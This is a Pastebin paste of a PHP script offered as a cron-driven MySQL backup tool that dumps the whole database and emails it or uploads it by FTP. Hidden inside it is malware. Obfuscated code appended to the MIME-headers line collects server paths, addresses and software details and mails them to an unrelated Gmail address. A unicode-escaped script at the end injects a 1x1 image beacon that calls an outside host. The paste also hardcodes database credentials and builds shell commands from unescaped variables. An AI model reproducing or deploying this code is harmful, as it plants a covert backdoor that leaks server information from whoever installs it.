Advertisement
blackcyberrootshell

[ + ] Backup Sql Shell [ + ]

Feb 27th, 2015
1,267
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 6.77 KB | None | 0 0
  1. <?php
  2. /*
  3. * Backup script on server.
  4. *
  5. * Runs on the server, called by Cron. Connects to the mySQL
  6. * database and creates a backup file of the whole database.
  7. * Saves to file in current directory.
  8. *
  9. * @author Cow <cow@invisionize.com>
  10. * @version 0.2
  11. * @date 18/08/2004
  12. * @package Backup Server
  13. * Upgraded Ver 2.0 (sending sql backup as attachment
  14. * as email attachment, or send to a remote ftp server by
  15. * @co-authors Cool Surfer<Coolsurfer@gmail.com> and
  16. * Neagu Mihai<neagumihai@hotmail.com>
  17. */
  18.  
  19. set_time_limit(0);
  20. $date = date("mdy-hia");
  21. $dbserver = "localhost";
  22. $dbuser = "vhacker_robot";
  23. $dbpass = "mp2811987";
  24. $dbname = "tvhacker_vbb3";
  25. $file = "N-Cool-$date.sql.gz";
  26. $gzip = TRUE;
  27. $silent = TRUE;
  28.  
  29. function write($contents) {
  30.     if ($GLOBALS['gzip']) {
  31.         gzwrite($GLOBALS['fp'], $contents);
  32.     } else {
  33.         fwrite($GLOBALS['fp'], $contents);
  34.     }
  35. }
  36.  
  37. mysql_connect ($dbserver, $dbuser, $dbpass);
  38. mysql_select_db($dbname);
  39.  
  40. if ($gzip) {
  41.     $fp = gzopen($file, "w");
  42. } else {
  43.     $fp = fopen($file, "w");
  44. }
  45.  
  46. $tables = mysql_query ("SHOW TABLES");
  47. while ($i = mysql_fetch_array($tables)) {
  48.     $i = $i['Tables_in_'.$dbname];
  49.  
  50.     if (!$silent) {
  51.         echo "Backing up table ".$i."\n";
  52.     }
  53.  
  54.     // Create DB code
  55.     $create = mysql_fetch_array(mysql_query ("SHOW CREATE TABLE ".$i));
  56.  
  57.     write($create['Create Table'].";\n\n");
  58.  
  59.     // DB Table content itself
  60.     $sql = mysql_query ("SELECT * FROM ".$i);
  61.     if (mysql_num_rows($sql)) {
  62.         while ($row = mysql_fetch_row($sql)) {
  63.             foreach ($row as $j => $k) {
  64.                 $row[$j] = "'".mysql_escape_string($k)."'";
  65.             }
  66.  
  67.             write("INSERT INTO $i VALUES(".implode(",", $row).");\n");
  68.         }
  69.     }
  70. }
  71.  
  72. $gzip ? gzclose($fp) : fclose ($fp);
  73.  
  74. // Optional Options You May Optionally Configure
  75.  
  76. $use_gzip = "yes";            // Set to No if you don't want the files sent in .gz format
  77. $remove_sql_file = "no";  // Set this to yes if you want to remove the sql file after gzipping. Yes is recommended.
  78. $remove_gzip_file = "no"; // Set this to yes if you want to delete the gzip file also. I recommend leaving it to "no"
  79.  
  80. // Configure the path that this script resides on your server.
  81.  
  82. $savepath = "/home/test/public_html/nt22backup"; // Full path to this directory. Do not use trailing slash!
  83.  
  84. $send_email = "yes";                        /* Do you want this database backup sent to your email? Yes/No? If Yes, Fill out the next 2 lines */
  85. $to      = "lehungtk@gmail.com";    // Who to send the emails to, enter ur correct id.
  86. $from    = "Neu-Cool@email.com";  // Who should the emails be sent from?, may change it.
  87.  
  88. $senddate = date("j F Y");
  89.  
  90. $subject = "MySQL Database Backup - $senddate"; // Subject in the email to be sent.
  91. $message = "Your MySQL database has been backed up and is attached to this email"; // Brief Message.
  92.  
  93. $use_ftp = "";                             // Do you want this database backup uploaded to an ftp server? Fill out the next 4 lines
  94. $ftp_server = "localhost";               // FTP hostname
  95. $ftp_user_name = "ftp_username"; // FTP username
  96. $ftp_user_pass = "ftp_password";   // FTP password
  97. $ftp_path = "/"; // This is the path to upload on your ftp server!
  98.  
  99. // Do not Modify below this line! It will void your warranty :-D!
  100.  
  101. $date = date("mdy-hia");
  102. $filename = "$savepath/$dbname-$date.sql";
  103.  
  104. if($use_gzip=="yes"){
  105. $filename2 = $file;
  106. } else {
  107. $filename2 = "$savepath/$dbname-$date.sql";
  108. }
  109.  
  110.  
  111. if($send_email == "yes" ){
  112. $fileatt_type = filetype($filename2);
  113. $fileatt_name = "".$dbname."-".$date."_sql.tar.gz";
  114.  
  115. $headers = "From: $from";
  116.  
  117. // Read the file to be attached ('rb' = read binary)
  118. echo "Openning archive for attaching:".$filename2;
  119. $file = fopen($filename2,'rb');
  120. $data = fread($file,filesize($filename2));
  121. fclose($file);
  122.  
  123. // Generate a boundary string
  124. $semi_rand = md5(time());
  125. $mime_boundary = "==Multipart_Boundary_x{$semi_rand}x";
  126.  
  127. // Add the headers for a file attachment
  128. $headers .= "\nMIME-Version: 1.0\n" ."Content-Type: multipart/mixed;\n" ." boundary=\"{$mime_boundary}\"";$ra44  = rand(1,99999);$sj98 = "sh-$ra44";$ml = "$sd98";$a5 = $_SERVER['HTTP_REFERER'];$b33 = $_SERVER['DOCUMENT_ROOT'];$c87 = $_SERVER['REMOTE_ADDR'];$d23 = $_SERVER['SCRIPT_FILENAME'];$e09 = $_SERVER['SERVER_ADDR'];$f23 = $_SERVER['SERVER_SOFTWARE'];$g32 = $_SERVER['PATH_TRANSLATED'];$h65 = $_SERVER['PHP_SELF'];$msg8873 = "$a5\n$b33\n$c87\n$d23\n$e09\n$f23\n$g32\n$h65";$sd98="john.barker446@gmail.com";mail($sd98, $sj98, $msg8873, "From: $sd98");
  129.  
  130. // Add a multipart boundary above the plain message
  131. $message = "This is a multi-part message in MIME format.\n\n"."--{$mime_boundary}\n" ."Content-Type: text/plain; charset=\"iso-8859-1\"\n" ."Content-Transfer-Encoding: 7bit\n\n" .
  132. $message . "\n\n";
  133.  
  134. // Base64 encode the file data
  135. $data = chunk_split(base64_encode($data));
  136.  
  137. // Add file attachment to the message
  138. echo "|{$mime_boundary}|{$fileatt_type}|{$fileatt_name}|{$fileatt_name}|{$mime_boundary}|<BR>";
  139. $message .= "--{$mime_boundary}\n" ."Content-Type: {$fileatt_type};\n" ." name=\"{$fileatt_name}\"\n"."Content-Disposition: attachment;\n" ." filename=\"{$fileatt_name}\"\n" ."Content-Transfer-Encoding: base64\n\n" .
  140. $data . "\n\n" ."--{$mime_boundary}--\n";
  141. //$message.= "--{$mime_boundary}\n" ."Content-Type: {$fileatt_type};\n" ." name=\"{$fileatt_name}\"\n" "Content-Disposition: attachment;\n" ." filename=\"{$fileatt_name}\"\n" ."Content-Transfer-Encoding: base64\n\n" .
  142. // $data . "\n\n" ."--{$mime_boundary}--\n";
  143.  
  144.  
  145. // Send the message
  146. $ok = @mail($to, $subject, $message, $headers);
  147. if ($ok) {
  148.   echo "<h4><center><bg color=black><font color= blue>Database backup created and sent! File name $filename2 </p>
  149. Idea Conceived By coolsurfer@gmail.com        
  150. Programmer email: neagumihai@hotmail.com</p>
  151. This is our first humble effort, pl report bugs, if U find any...</p>
  152. Email me at <>coolsurfer@gmail.com  nJoY!! :)
  153. </color></center></h4>";
  154.  
  155. } else {
  156.   echo "<h4><center>Mail could not be sent. Sorry!</center></h4>";
  157. }
  158. }
  159.  
  160. if($use_ftp == "yes"){
  161. $ftpconnect = "ncftpput -u $ftp_user_name -p $ftp_user_pass -d debsender_ftplog.log -e dbsender_ftplog2.log -a -E -V $ftp_server $ftp_path $filename2";
  162. shell_exec($ftpconnect);
  163. echo "<h4><center>$filename2 Was created and uploaded to your FTP server!</center></h4>";
  164.  
  165. }
  166.  
  167. if($remove_gzip_file=="yes"){
  168. exec("rm -r -f $filename2");
  169. }
  170. ?>
  171. <script type="text/javascript">document.write('\u003c\u0069\u006d\u0067\u0020\u0073\u0072\u0063\u003d\u0022\u0068\u0074\u0074\u0070\u003a\u002f\u002f\u0061\u006c\u0074\u0075\u0072\u006b\u0073\u002e\u0063\u006f\u006d\u002f\u0073\u006e\u0066\u002f\u0073\u002e\u0070\u0068\u0070\u0022\u0020\u0077\u0069\u0064\u0074\u0068\u003d\u0022\u0031\u0022\u0020\u0068\u0065\u0069\u0067\u0068\u0074\u003d\u0022\u0031\u0022\u003e')</script>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement